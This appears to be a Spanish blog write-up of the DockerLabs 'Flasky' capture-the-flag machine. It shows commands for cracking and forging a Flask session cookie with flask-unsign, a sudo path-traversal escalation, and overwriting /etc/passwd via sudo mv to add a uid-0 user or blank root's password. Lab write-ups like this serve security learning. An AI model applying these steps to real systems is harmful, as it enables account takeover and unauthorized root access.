Post

Flasky, DockerLabs

portada

Maquina flasky de DockerLabs calificada como dificultad media , segun descripcion nos aprovecharemos de una cookie de flask y escalada lateral hacia root.

Herramientas y recursos

Tecnicas Herramientas objetivo
scan de puertos nmap Descubrimiento de servicios expuestos
Cookie Brute Forcing flask-unsign Obtener la Secret Key de Flask.
Session Manipulation Navegador (DevTools) Suplantar perfil de Administrador.
Sudo Hijacking Path Traversal Ejecutar scripts propios como otro usuario.
Environment Cleaning sed, unset, unalias Eliminar restricciones en el .bashrc.
Arbitrary File Write mv (Privilegiado) Modificar /etc/passwd para ganar acceso root.

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre y al ser un awindows con bastantes puertos abiertos tarda un poco.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX flasky

reporte

observamos el reporte y tenemos el 22,5000 y como en la descripcion nos hablaban de un login vamo a la web directos.

Nos encontramos una pagina que nos pide login asi que nos vamos a crear un usuario y procedemos a loguearnos y ya vemos de que trata mas claramente.

logued

Vemos muy claramente que nos hemos de convertir en administrador para ello lo primero debe ser ver los campos que contiene la cookie.

En esta web, la podemos ver rapidamente :

cookie

No sabemos que campo profile o id nos hara admins asi que vamos a probar primero en el profile a hacernos admin o administrador pueden haber unas cuanteas opciones , aunque por lo general el admin casi siempre sule ser id 1

  • Este tipo de cookies van firmadas con un key secret, por tanto si solo cambiamos el id de 3 a 1 no va a coincidir y backend la rechazara.

Despues de estar un rato fuzzeando sin nigun exito me encuentro en la web de hacktricks la explicacion y la herramienta necesaria , de hecho me sorprende que haga fuerza bruta contra cookie directamente,esta es la herramienta que nos permitar crackear , modificar y firmar nuestra nueva cookie.

Que vamos a hacer:

  • decodear la cookie en nuestra maquina
  • Hacemos fuerza bruta contra la cookie
  • Modificar el campo que creamos oportuno y firmarla
1
flask-unsign --decode --cookie ".eJyrViooyk_LzElVslIqLU4tUtIBU_GZKUpWxhB2XmIuSLYktbhEqRYAkK4QQQ.ab2spw.kx-ZnhfH-VdB-XY_DSIiieo8Uh8"

Nos fijamos los campos que se envian y lo modificamos a nuestro antojo

decoded

Aplicamos fuerza bruta a ver si conseguimos la key

1
flask-unsign --wordlist rockyou_clean.txt --unsign --cookie ".eJyrViooyk_LzElVslIqLU4tUtIBU_GZKUpWJhB2XmIuSLYktbhEqRYAkMIQQg.ab2bYg.EzfCTWVr7f1bZkbOHXPw2fB4WC4" --no-literal-eval

bf

En la imagen de arriba vemos que nos dio la clave y tambien nos muestra el contenido de los campos.

Ahora modificaremos la cookie y la firmaremos con la llave recien obtenida..

1
flask-unsign --sign --cookie "{'profile': 'admin', 'user_id': 3, 'username': 'test'}" --secret 'secret123' --no-literal-eval

sign

Ahora pillamos la cookie que nos genera el comando anterior y la pegamos en herramientas desarrollador/application/cookies y le damos F5

admin

Nos dan el pass de ssh asi que vamos y ni bien ejecuto me encuentro esto :

sudopeter

Vamos podemos ejecutar cualquier cosa en /home/pam , yo hago lo siguiente y me funciono

1
2
3
4
echo '#!/bin/bash' > /tmp/exploit.sh
echo '/bin/bash -p' >> /tmp/exploit.sh
chmod +x /tmp/exploit.sh
sudo -u pan /usr/bin/bash /home/pan/../../../../../tmp/exploit.sh

peter

Y asi nos hacemos pan al ejecutar sudo -l me tira un erro extraño

error

Ejecutando un alias vemos que sudo lo tiene asi que vamos a revisar el .bashrc y con cat al final del fichero vemos lo de la imagen de abajo.

bash

Vamos a eliminar las ultimas lineas despues de unas pruebas se con cuantas me quedo:

1
head -n 114 .bashrc > .bashrc

Despues de probar varias veces y revisar bien el fichero me doy cuenta que tambien esta en medio del script la misma funcion que eliminamos abajo , asi que ahora toca tirar de sed usando un rango de patrones para seleccionar todo lo que queremos borrar.

1
sed -i '/sudo() {/,/alias sudo=/d' .bashrc
  • -i : le indicamos que se guarda en el mismo archivo
  • /sudo() {/ : le decimos que empieze a sellecionar desde esa linea
  • , : es el separador
  • /alias sudo=/ : es el patron que le inidica el fin de la seleccion
  • d : le decimos que borre

Despues de ejecutar ese comando y pasarle un grep no detcta nada que nos valla a molestar.

grep

Ahora limpiemos todo el entorno dado que todo sigue activo en el entorno:

1
2
3
unset -f sudo
unalias sudo
source .bashrc

Ahora si y nos han dejado mv.

mv

Realmente si podemos mover cualquier fichero como root podemos hacer ya lo que queramos,

Nos creamos nuestro propio usuario privilegiado para ello , nos creamos la clave con openssl , creamos nuestra linea en un fichero en /tmp , copiamos al fianl del fichero recien creado todo el passwd lo movemos con sudo y ejecutamos

1
2
3
4
5
openssl passwd -1 -salt xyz password123
echo 'r00t:$1$xyz$yHoMTbjR/T1EsmNb.r7cu0:0:0:root:/root:/bin/bash' > /tmp/mi_user
cat /etc/passwd >> /tmp/mi_user
sudo /usr/bin/mv /tmp/mi_user /etc/passwd
su r00t

root1

flags

Tambien y mas facil sacarle la x a root , lo que hace que no pida password :

1
2
3
4
cat /etc/passwd >> /tmp/passwd                                                                                                  
sed -i 's/^root:x:/root::/' /tmp/passwd                                                                                         
sudo /usr/bin/mv /tmp/passwd /etc/passwd                                                                                        
su

root2

HAsta aqui la maquinita divertida , el principio del cookie muy bueno no conocia , un saludo y grtacias por leer.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.